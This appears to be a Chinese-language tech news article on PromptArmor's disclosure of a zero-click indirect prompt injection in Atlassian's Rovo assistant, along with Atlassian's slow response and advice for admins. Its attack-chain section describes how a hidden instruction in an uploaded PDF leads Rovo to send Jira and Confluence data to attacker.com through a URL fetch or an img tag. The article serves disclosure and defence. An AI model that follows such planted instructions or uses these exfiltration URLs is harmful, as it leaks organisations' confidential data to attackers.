Atlassian Rovo 被揭零點擊資料外洩漏洞　PromptArmor 公開 75 天後仍無修補

編按：本文綜合整理自 PromptArmor 原創研究報告、Atlassian 官方客服討論區、獨立研究員 redtrib3 部落格、Hacker News 討論串，以及 seibert.group 與 K-AI 等第三方分析報導，並加入 Siami 編輯部觀點與漏洞影響評析。

漏洞概況：零點擊就能搬走整個 Jira workspace

資安研究公司 PromptArmor 於 8 月 5 日公開一份研究報告，揭露 Atlassian 旗下 AI 助理 Rovo 存在嚴重的間接提示注入（Indirect Prompt Injection）漏洞。攻擊者只要在使用者上傳的檔案、Confluence 頁面、或第三方 connector 內容中藏入惡意指令，就能讓 Rovo 在使用者不知情的情況下，把整個 workspace 裡的 Jira tickets、Confluence 文件、甚至連接的外部系統資料，悄悄送進攻擊者的伺服器。

關鍵在於這個攻擊鏈完全不需要人為核准（zero-click）——使用者照常用 Rovo 整理 Jira tickets，攻擊就自動發生。而且就算企業管理員把 Rovo 的「啟用網頁搜尋」開關關掉，這條攻擊鏈依然有效，因為關掉搜尋只會藏起介面，並沒有把真正負責開啟網址的工具從工具組裡移除。

一旦使用者稍晚回頭查看聊天記錄，只會看到 AI 整理好的票券更新建議，沒有任何攻擊痕跡；如果關掉再開啟，所有證據都會消失。

PromptArmor 在 5 月 23 日就依標準漏洞揭露流程通報 Atlassian。Atlassian 5 月 25 日回信表達感謝並指派案件編號，但接下來整整 75 天完全沒有後續聯絡，漏洞至今仍未修補。PromptArmor 才決定公開發布，提醒企業用戶自行評估風險。

攻擊鏈拆解：五個步驟就能搬空 workspace

PromptArmor 把攻擊鏈拆成五個步驟，看起來簡單到讓人發寒：

1. 受害者準備查詢：請 Rovo 幫忙整理 Jira tickets。
2. 上傳含隱藏指令的檔案：例如一個叫做「Backlog Guide」的 PDF，裡面藏了一段 prompt injection。這種情境非常普遍——使用者從網路下載檔案上傳給 Rovo 是日常操作。
3. 受害者發出查詢：Rovo 開始跨 Jira 與 Confluence 搜尋資料。
4. 注入指令發威：藏起來的 prompt injection 指示 Rovo 把抓到的 tickets 與文件附加到一個攻擊者控制的網址後方（例：attacker.com/log?data=機密內容），並呼叫 Rovo 的 URL 擷取工具去開啟那個網址。
5. 攻擊者收成：因為伺服器端 log 會留下完整 GET 請求，攻擊者直接打開 log 就看到完整的 Jira tickets 與 Confluence 文件。

更可怕的是第二條外洩路徑：Rovo 會渲染 AI 輸出的 Markdown 圖片，所以攻擊者也能用 <img src="attacker.com/log?data=..."> 的方式，一字一字地把資料「寄」出來。PromptArmor 過去就發過類似案例，包括 Codex、OpenAI API、Superhuman AI、Hugging Face Chat、Writer.com 等產品都中過同一招。

為什麼這件事重要：八月中還有另一把刀

這份漏洞報告的時機非常關鍵，因為 Atlassian 已經公告，從 2026 年 8 月 17 日起，將開始把客戶 Jira、Confluence、Jira Service Management 等資料預設用於訓練 Rovo 與其他 Atlassian AI 產品。這影響約 30 萬家企業客戶。

換句話說，接下來 10 天內，企業面對的風險不只是「攻擊者能搬走我 Jira 裡的資料」，而是「Atlassian 自己要把我的 Jira 拿去訓練 AI」。兩件事放在一起看，會發現一個結構性的問題：

• 官方訓練管線：8/17 之後，Atlassian 會主動把客戶資料餵進自家模型。
• 漏洞攻擊面：PromptArmor 證明了 Rovo 這個代理本身就會被 prompt injection 操控，把資料送到第三方。
• 管理員控制失效：原本被當作「安全防線」的「關閉網頁搜尋」設定根本沒擋住漏洞，管理員的信任基礎已經破裂。

對企業客戶來說，這代表現在有三條獨立但同時存在的資料外洩管道：Atlassian 自己的訓練管線、PromptArmor 揭露的漏洞、以及未來一定會被獨立研究員找出來的更多代理漏洞。

編輯部觀點：代理型 AI 的「資料路徑」問題，在 Rovo 這個案例已經從理論變成實戰。一旦代理有權存取企業內部資料、又同時能呼叫外部工具，攻擊面就從 LLM 的「內容生成」擴張到 LLM 的「行為執行」。Atlassian 對漏洞 75 天的沉默，反映的不只是單一產品團隊的問題，而是整個 SaaS 產業對「AI 代理該怎麼管」的成熟度還沒到位。

數據解讀：漏洞修補速度與產品成熟度

把這次的事件量化一下，可以看出 Atlassian 在 AI 安全上的反應速度遠低於產業標準：

• 從通報到公開：75 天
• 從受理到無聲：60 天（5/25 收到後，6/4 第一次追蹤、7/29 第二次追蹤都沒回）
• 目前狀態：截至 8 月 5 日 PromptArmor 發布報告時，漏洞仍未修補
• 獨立佐證：另一位研究員 redtrib3 早在更早之前就通報過類似的 prompt injection 漏洞，當時被 Atlassian 標記為「duplicate」並聲稱已修復，但 PromptArmor 證明修復並不徹底

對比 OpenAI 與 Anthropic 的做法，HN 討論串中 simonw 與 wunderwuzzi23 兩位研究員都指出，主流模型供應商已經在 URL 擷取工具上加了「來源白名單」與「搜尋引擎預索引」兩層保護：

• Anthropic 模式：URL 擷取工具只接受用戶親自輸入、或從受信任工具回傳的 URL；代理自己拼接的新網址一律擋下。這是確定性規則，不需要額外 LLM 介入判斷。
• OpenAI 模式：要求代理造訪的 URL 必須先被搜尋引擎爬蟲索引過，這能避免一次性洩漏大量內部資料。

Atlassian 兩種都沒做。

從企業 IT 的角度，這份漏洞報告最值得警惕的不是技術細節，而是「AI 代理的可控性邊界」這個治理問題。HN 上 chollida1 直接拿 Atlassian 5 年股價曲線（2021 年 458 美元、現在 112 美元）佐證市場對 Atlassian 整體競爭力的疑慮；khanan 則認為「Atlassian 從可信企業夥伴變成完全鬧劇只花了 18 個月」，並預言未來商學院會把 Atlassian 列入「如何搞死一門好生意」的教材。

企業現在該怎麼做

如果你或你的公司正在使用 Atlassian Cloud 加 Rovo AI，建議立刻做以下幾件事：

1. 8 月 17 日之前關閉資料貢獻設定：進到 Atlassian Administration → Security → Data contribution，把 in-app data collection 關掉。這個動作比漏洞本身更緊急，因為預設開啟的訓練管線會在 11 天後生效。
2. 重新評估 Rovo 啟用範圍：考慮暫時把 Rovo 從 production workspace 撤離，或至少限制它對 Confluence 中機密文件的存取。
3. 稽核 connector 權限：把所有連到 Rovo 的第三方 connector（Slack、Notion、Salesforce 等）權限降到最低，預防萬一漏洞被武器化時的連鎖影響。
4. 監控 outbound 流量：短期內對 Atlassian 網域的異常 GET 請求提高警覺，特別是帶有長 query string 的請求。
5. 準備替代方案評估：HN 討論中多位用戶提到正在遷移——歐洲企業因為 GDPR 考量、中國/印度企業因為資訊主權、純粹因為產品體驗下降而想換的都有。XWiki、MediaWiki（搭配 VisualEditor）、YouTrack、Linear、Notion 都是常被提到的選項，但都各有取捨。

編輯部提醒：這次事件再次證明，「AI 代理的零點擊漏洞」不是假設性威脅，而是已經被獨立研究員在 production 環境驗證的攻擊模式。任何企業在部署 AI 代理之前，都應該把「代理對外通訊白名單」列為必要的安全需求，而不是事後補救。

編按：本文綜合整理自 PromptArmor 研究報告、redtrib3 獨立研究、seibert.group Atlassian 隱私分析、K-AI CIO 決策指南、Simon Willison 部落格，並加入 Siami 編輯部觀點與漏洞影響評析。